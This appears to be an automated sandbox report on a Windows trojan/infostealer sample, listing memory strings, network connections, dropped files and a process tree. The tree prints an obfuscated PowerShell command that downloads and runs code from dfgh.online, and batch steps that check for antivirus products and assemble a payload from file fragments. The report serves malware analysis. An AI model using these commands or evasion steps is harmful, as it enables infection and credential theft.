Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online
Source: powershell.exe, 00000010.00000002.2402514310.0000000004C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=
Source: powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compName=user-PC
Source: powershell.exe, 00000010.00000002.2406384152.0000000007401000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dfgh.online/invoker.php?compname=
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000010.00000002.2402514310.0000000004D76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000010.00000002.2402514310.0000000005424000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org/
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000000.2473019399.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://jrsoftware.org0
Source: powershell.exe, 00000010.00000002.2404996634.0000000005C85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Edgar.com, 0000000D.00000003.2319884637.0000000003E05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://quantitypitt.click/
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	String found in binary or memory: https://ssl.trustwave.com/CA03
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Edgar.com, 0000000D.00000003.2211479741.00000000045EE000.00000004.00000800.00020000.00000000.sdmp, Pics.9.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2493666319.00000000040F0000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000003.2502767714.0000000003010000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000003.3049820021.0000000001600000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.20.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Setup.exe	String found in binary or memory: https://www.entrust.net/rpa0
Source: Pics.9.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Edgar.com, 0000000D.00000003.2239582625.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2239648627.0000000003D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2477409236.00000000033BF000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2480696445.000000007F24B000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000000.2484536640.0000000000D91000.00000020.00000001.01000000.0000000B.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000000.2510672675.0000000000DDD000.00000020.00000001.01000000.0000000D.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	String found in binary or memory: https://www.innosetup.com/
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Edgar.com, 0000000D.00000003.2282419483.0000000005A10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2477409236.00000000033BF000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe, 00000012.00000003.2480696445.000000007F24B000.00000004.00001000.00020000.00000000.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000014.00000000.2484536640.0000000000D91000.00000020.00000001.01000000.0000000B.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp, 00000016.00000000.2510672675.0000000000DDD000.00000020.00000001.01000000.0000000D.sdmp, EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.186.189:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.208.58:443 -> 192.168.2.5:49843 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

System Summary

Sample or dropped binary is a compiled AutoHotkey binary

Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe

Window found: window name: AutoHotkey

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_00403883

Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\VacanciesTerry	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\RevolutionAimed	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\FormulaGraphics	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\DuckForestry	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\BelievedChrist	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\CamerasDonors	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004074BB	0_2_004074BB

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\Setup.exe

Code function: String function: 004062A3 appears 58 times

Source: Setup.exe

Static PE information: invalid certificate

Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.21.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows

Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe.13.dr	Static PE information: Number of sections : 11 > 10
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.21.dr	Static PE information: Number of sections : 11 > 10
Source: EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp.18.dr	Static PE information: Number of sections : 11 > 10

Source: Setup.exe, 00000000.00000002.2041349195.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Setup.exe
Source: Setup.exe, 00000000.00000003.2037045875.00000000005D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs Setup.exe

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/37@5/3

Source: C:\Users\user\Desktop\Setup.exe

0_2_004044A5

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Firewall

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2748:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6512:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5488:120:WilError_03

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsn5FB.tmp

Jump to behavior

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'WRSA.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'OPSSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'NSWSCSVC.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: tasklist.exe, 0000002F.00000002.2939853573.000001172CCD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SOPHOSHEALTH.EXE'm;C:\Wi
Source: Edgar.com, 0000000D.00000003.2281646589.0000000003CD1000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2339002491.0000000003CD1000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2319935829.0000000003CD3000.00000004.00000800.00020000.00000000.sdmp, Edgar.com, 0000000D.00000003.2320123274.0000000003CD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Setup.exe	ReversingLabs: Detection: 21%
Source: Setup.exe	Virustotal: Detection: 28%

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Unlock Unlock.cmd & Unlock.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 96053
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Gap
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Reprint" Shower
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 96053\Edgar.com + Lightweight + Surely + Prohibited + Pensions + Vid + Bm + Diagram + Value + Temperature + Skill + Pics 96053\Edgar.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Firewall + ..\Rape + ..\Introduced + ..\Infrastructure + ..\Transcript + ..\Lower + ..\Lease R
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com Edgar.com R
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\96053\Edgar.com	Process created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process created: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp "C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$50456,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe"
Source: C:\Users\user\AppData\Local\Temp\is-F349O.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe "C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe	Process created: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp "C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp" /SL5="$B0354,7785838,845824,C:\Users\user\AppData\Local\Temp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.exe" /VERYSILENT
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\timeout.exe "timeout" 9
Source: C:\Windows\System32\timeout.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-CBG8Q.tmp\EN18TCIE9X2WO7WY5K3PQUR0YAR5W.tmp	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /I "wrsa.exe"
